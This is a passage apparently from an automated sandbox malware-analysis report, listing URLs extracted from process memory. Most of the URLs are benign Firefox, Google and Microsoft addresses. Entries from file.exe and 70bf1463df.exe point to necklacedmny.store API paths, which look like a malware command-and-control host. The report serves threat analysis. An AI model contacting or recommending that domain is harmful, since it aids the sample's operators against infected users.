Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001F.00000002.3084413359.000001B33E736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C5D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.comcreateContentPrincipalFromOriginupgradeTabsProgressListenerhttps://suppor
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, file.exe, 00000000.00000003.1753768288.0000000005681000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768629735.000000000567A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754072616.0000000005682000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969317057.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768277939.000000000567A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1753629044.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1741519626.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2053587361.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742005812.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754462369.0000000005681000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768902510.0000000005681000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2623846534.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2623971408.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2686263448.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2796735453.0000000000993000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 70bf1463df.exe, 00000010.00000003.2705404367.000000000099A000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2705500952.00000000009A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/&&
Source: 70bf1463df.exe, 00000010.00000003.2705500952.00000000009A0000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609594492.0000000000989000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: 70bf1463df.exe, 00000010.00000003.2674863843.00000000009A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api0
Source: file.exe, 00000000.00000003.1771931755.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771956750.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771662528.0000000000A56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apibV7RydFqE=
Source: 70bf1463df.exe, 00000010.00000003.2674863843.00000000009A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apic
Source: 70bf1463df.exe, 00000010.00000003.2657906291.0000000000994000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2662704108.0000000000995000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/ient
Source: 70bf1463df.exe, 00000010.00000003.2657757458.00000000053C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/no-s
Source: 70bf1463df.exe, 00000010.00000003.2686263448.00000000009A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api
Source: 70bf1463df.exe, 00000010.00000003.2657857276.00000000009A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api(
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33889E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2(browser
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svgFileUtils_openSafeFileOutputStream
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FEC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1725818919.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.0000000005420000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000003.2925566342.000001B33C111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001F.00000002.3060637195.000001B33D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001F.00000003.2884525480.000001B33F89F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2921901771.000001B33F8A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2891617956.000001B33F8A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3110898679.000001B33F89F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1725885278.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1725818919.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.000000000541E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1725885278.00000000056A2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1725885278.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1725818919.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.000000000541E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1725885278.00000000056A2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001F.00000003.2915130389.000001B33F862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
